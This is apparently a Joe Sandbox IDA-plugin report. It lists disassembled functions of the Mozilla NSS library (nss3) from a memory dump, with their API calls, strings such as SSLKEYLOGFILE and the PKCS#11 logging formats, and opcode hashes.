Part of subcall function 6CAC6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAC69D2
Part of subcall function 6CAC6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAC69DF
Part of subcall function 6CAC6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CAC6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAC6D8C
free.MOZGLUE(00000000), ref: 6CAC6DC5
free.MOZGLUE(?), ref: 6CAC6DD6
free.MOZGLUE(?), ref: 6CAC6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAC6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAC6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAC6E72
free.MOZGLUE(?), ref: 6CAC6EA7
free.MOZGLUE(?), ref: 6CAC6EC4
free.MOZGLUE(?), ref: 6CAC6ED5
free.MOZGLUE(00000000), ref: 6CAC6EE3
free.MOZGLUE(?), ref: 6CAC6EF4
free.MOZGLUE(?), ref: 6CAC6F08
free.MOZGLUE(00000000), ref: 6CAC6F35
free.MOZGLUE(?), ref: 6CAC6F44
free.MOZGLUE(?), ref: 6CAC6F5B
free.MOZGLUE(00000000), ref: 6CAC6F65

Part of subcall function 6CAC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAC781D,00000000,6CABBE2C,?,6CAC6B1D,?,?,?,?,00000000,00000000,6CAC781D), ref: 6CAC6C40
Part of subcall function 6CAC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAC781D,?,6CABBE2C,?), ref: 6CAC6C58
Part of subcall function 6CAC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAC781D), ref: 6CAC6C6F
Part of subcall function 6CAC6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAC6C84
Part of subcall function 6CAC6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAC6C96
Part of subcall function 6CAC6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAC6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAC6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAC6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CAC6FF4

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: a2566de81c25b9e92c0b3ff8bee21e4f1aa64ab71e92d1909347ff7f097453a9
Instruction ID: 433b68247e0e0f04ae59d30d5ef75069b3e07f58368efe706919043a9bf4fa1f
Opcode Fuzzy Hash: a2566de81c25b9e92c0b3ff8bee21e4f1aa64ab71e92d1909347ff7f097453a9
Instruction Fuzzy Hash: 97B150B4F012199FDF01DFA9D844BAEBBB4AF09348F180025E815E7741E735E994CBA2

Function 6CAC4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAC4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CAC4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAC4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4DB7

Part of subcall function 6CB2DD70: TlsGetValue.KERNEL32 ref: 6CB2DD8C
Part of subcall function 6CB2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB2DDB4

Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB

TlsGetValue.KERNEL32 ref: 6CAC4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CAC4DEC
PR_Unlock.NSS3(?), ref: 6CAC4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CAC4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CAC4E71
free.MOZGLUE(00000000), ref: 6CAC4E7A
PR_Unlock.NSS3(?), ref: 6CAC4EA2
TlsGetValue.KERNEL32 ref: 6CAC4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CAC4ED6
PR_Unlock.NSS3(?), ref: 6CAC4F01
free.MOZGLUE(00000000), ref: 6CAC4F2A

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 6babeae89e5a84121232e307b9de9a923b9049cb7e9cf4868a9b91022ed727ff
Instruction ID: d6faba8435f4f3d7ebfa2e4da67df1729e32a0a85d24111fd0fcca05cadfbbc0
Opcode Fuzzy Hash: 6babeae89e5a84121232e307b9de9a923b9049cb7e9cf4868a9b91022ed727ff
Instruction Fuzzy Hash: 75B1F275B006059FEF01EF68D884BAA77B4BF09318F194124ED1597B11EB34E9A4CBD2

Function 6CB16E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CB16BF7), ref: 6CB16EB6

Part of subcall function 6CA71240: TlsGetValue.KERNEL32(00000040,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA71267
Part of subcall function 6CA71240: EnterCriticalSection.KERNEL32(?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA7127C
Part of subcall function 6CA71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA71291
Part of subcall function 6CA71240: PR_Unlock.NSS3(?,?,?,?,6CA7116C,NSPR_LOG_MODULES), ref: 6CA712A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBBFC0A,6CB16BF7), ref: 6CB16ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB16EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CB16EFC
PR_NewLock.NSS3 ref: 6CB16F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB16F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CB16BF7), ref: 6CB16F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CB16BF7), ref: 6CB16F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CB16BF7), ref: 6CB16FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CB16BF7), ref: 6CB16FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6CB16FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CB16F4F
SSLKEYLOGFILE, xrefs: 6CB16EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CB16EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CB16FDB
SSLFORCELOCKS, xrefs: 6CB16F2B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 05f5ef50cc926fc16b4de650225e35f1586b6062a208827d48f150394e8edbbd
Instruction ID: 0ebaf2ecd38c4fc93561d69e3731cf8b6af0606c4faee00211d1b2dc0aba06c7
Opcode Fuzzy Hash: 05f5ef50cc926fc16b4de650225e35f1586b6062a208827d48f150394e8edbbd
Instruction Fuzzy Hash: 23A129B2B6D9D0C7EB50463CEC0039533A2EB8B369F588365E831D7ED5DBB594418392

Function 6CA8C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA8C4D5

Part of subcall function 6CADBE30: SECOID_FindOID_Util.NSS3(6CA9311B,00000000,?,6CA9311B,?), ref: 6CADBE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA8C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA8C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA8C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6CA8C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6CA8C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA8C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA8C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA8C751
PL_FinishArenaPool.NSS3(?), ref: 6CA8C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CA8C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CA8C7A9

Strings

security, xrefs: 6CA8C63F

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: ed34f58fe2848894efa523fce7991e17cda6243565c9559c0034946c5768c1e8
Instruction ID: 9ca69dfd3382fddd4174db591420c06fce2d486e55b3bef213c062d93b1d6e8d
Opcode Fuzzy Hash: ed34f58fe2848894efa523fce7991e17cda6243565c9559c0034946c5768c1e8
Instruction Fuzzy Hash: 82810A71C02108ABEF00EA95DD85BEE7774EF0531CF284335E915A6A91E721D9C9CFA2

Function 6CAB8500 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptDigestUpdate), ref: 6CAB8526
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB8554
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB8563

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB8579
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CAB859A
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CAB85B3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAB85CC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CAB85E7
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CAB8659

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB855C
pulPartLen = 0x%p, xrefs: 6CAB85E2
*pulPartLen = 0x%x, xrefs: 6CAB8654
hSession = 0x%x, xrefs: 6CAB853E, 6CAB854E
C_DecryptDigestUpdate, xrefs: 6CAB8521
ulEncryptedPartLen = %d, xrefs: 6CAB85AE
pPart = 0x%p, xrefs: 6CAB85C7
pEncryptedPart = 0x%p, xrefs: 6CAB8595

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptDigestUpdate
API String ID: 1003633598-1019776760
Opcode ID: e5d0b01520904c9c4b39b70245211582a104e76adbdc07dca9fbd707dad05205
Instruction ID: dbed194807eb586a544cafb4a8fe4d70b8a19d2a3ffc53a45a89defe3a17966e
Opcode Fuzzy Hash: e5d0b01520904c9c4b39b70245211582a104e76adbdc07dca9fbd707dad05205
Instruction Fuzzy Hash: 39410A39601086AFDB00CF58EE48E8E3B75EB4A75DF084025F80867612DF30D998CBA3

Function 6CAB6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CAB6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB6DC3

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAB6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAB6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CAB6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CAB6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CAB6EB9

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB6DBC
pulDigestLen = 0x%p, xrefs: 6CAB6E42
C_Digest, xrefs: 6CAB6D81
hSession = 0x%x, xrefs: 6CAB6D9E, 6CAB6DAE
pDigest = 0x%p, xrefs: 6CAB6E27
pData = 0x%p, xrefs: 6CAB6DF5
*pulDigestLen = 0x%x, xrefs: 6CAB6EB4
ulDataLen = %d, xrefs: 6CAB6E0E

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 49ed7c55f5359188e771ea04ecf061d3af6c748c79a2ea0516e1ee31ba06a213
Instruction ID: 7f3d606d9b214d36ad8063a1cb4a41f6e51ab1ec82132c4b2419d0a919d4bf95
Opcode Fuzzy Hash: 49ed7c55f5359188e771ea04ecf061d3af6c748c79a2ea0516e1ee31ba06a213
Instruction Fuzzy Hash: 3341D735601085AFDB04DF54ED48F8E7BB9EB4AB59F084024F908A7711DF319998CBA3

Function 6CAB8690 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignEncryptUpdate), ref: 6CAB86B6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB86E4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB86F3

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB8709
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAB872A
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CAB8743
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CAB875C
PR_LogPrint.NSS3( pulEncryptedPartLen = 0x%p,?), ref: 6CAB8777
PR_LogPrint.NSS3( *pulEncryptedPartLen = 0x%x,?), ref: 6CAB87E9

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB86EC
ulPartLen = %d, xrefs: 6CAB873E
hSession = 0x%x, xrefs: 6CAB86CE, 6CAB86DE
pulEncryptedPartLen = 0x%p, xrefs: 6CAB8772
pPart = 0x%p, xrefs: 6CAB8725
*pulEncryptedPartLen = 0x%x, xrefs: 6CAB87E4
pEncryptedPart = 0x%p, xrefs: 6CAB8757
C_SignEncryptUpdate, xrefs: 6CAB86B1

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulEncryptedPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulEncryptedPartLen = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_SignEncryptUpdate
API String ID: 1003633598-3528238837
Opcode ID: 347546d6dd7f331a37b211bb3cef64faa6a6d3d7b501b30c6762301eb800f3aa
Instruction ID: 7aa31084c41cb722d0b904fc3044e4f779114d743178e5bfe0590c73486c2cdf
Opcode Fuzzy Hash: 347546d6dd7f331a37b211bb3cef64faa6a6d3d7b501b30c6762301eb800f3aa
Instruction Fuzzy Hash: 0A41CA39601186AFDB00DF58EE48F8E7775EB4A75DF084025F90867612DB319998CBA2

Function 6CAB67D0 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Decrypt), ref: 6CAB67F6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAB6824
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAB6833

Part of subcall function 6CB9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CB9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CAB6849
PR_LogPrint.NSS3( pEncryptedData = 0x%p,?), ref: 6CAB686A
PR_LogPrint.NSS3( ulEncryptedDataLen = %d,?), ref: 6CAB6883
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAB689C
PR_LogPrint.NSS3( pulDataLen = 0x%p,?), ref: 6CAB68B7
PR_LogPrint.NSS3( *pulDataLen = 0x%x,?), ref: 6CAB6929

Strings

(CK_INVALID_HANDLE), xrefs: 6CAB682C
hSession = 0x%x, xrefs: 6CAB680E, 6CAB681E
pEncryptedData = 0x%p, xrefs: 6CAB6865
pData = 0x%p, xrefs: 6CAB6897
C_Decrypt, xrefs: 6CAB67F1
pulDataLen = 0x%p, xrefs: 6CAB68B2
ulEncryptedDataLen = %d, xrefs: 6CAB687E
*pulDataLen = 0x%x, xrefs: 6CAB6924

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDataLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pEncryptedData = 0x%p$ pulDataLen = 0x%p$ ulEncryptedDataLen = %d$ (CK_INVALID_HANDLE)$C_Decrypt
API String ID: 1003633598-1867331214
Opcode ID: ad90af10f46b117f1a435023b9ca10a390b98e32b73dd58f99bd28157c6df649
Instruction ID: cf55296255321e695c502aef439f2f0cde21a205d575e69dc148f2c4e9ea1914
Opcode Fuzzy Hash: ad90af10f46b117f1a435023b9ca10a390b98e32b73dd58f99bd28157c6df649
Instruction Fuzzy Hash: FE41D535601185AFDB049F94ED48F8E7BB9EB4A759F084034F908A7711DF319998CBA3

Function 6CAF4500 Relevance: 28.8, APIs: 19, Instructions: 319threadCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(6CAF3803,?,6CAF3817,00000000), ref: 6CAF450E

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

PR_SetError.NSS3(FFFFE005,00000000,?,6CAF3817,00000000), ref: 6CAF4550
SECOID_FindOIDByTag_Util.NSS3(00000004,00000000), ref: 6CAF45B5
SECOID_FindOIDByTag_Util.NSS3(000000BF,00000000), ref: 6CAF4709
SECOID_GetAlgorithmTag_Util.NSS3(?,00000000), ref: 6CAF4727
SECOID_GetAlgorithmTag_Util.NSS3(?,?,00000000), ref: 6CAF473B
PORT_NewArena_Util.NSS3(00000400,?,?,?,?,?,?,?,00000000), ref: 6CAF4801
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBB2DA0,?,?,?,?,?,?,?,?,00000000), ref: 6CAF482E
PR_GetCurrentThread.NSS3 ref: 6CAF48F3
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAF4923
PR_SetError.NSS3(FFFFE02F,00000000), ref: 6CAF4937
SECKEY_DestroyPublicKey.NSS3(?,?,?,00000000), ref: 6CAF494E
PR_SetError.NSS3(FFFFE02F,00000000,?,?,?,00000000), ref: 6CAF4963
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAF4984
VFY_VerifyDataWithAlgorithmID.NSS3(?,?,?,6CAF21C2,?,?,?), ref: 6CAF499C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAF49B5
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,00000000), ref: 6CAF49C5
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6CAF49DC
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CAF49E9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

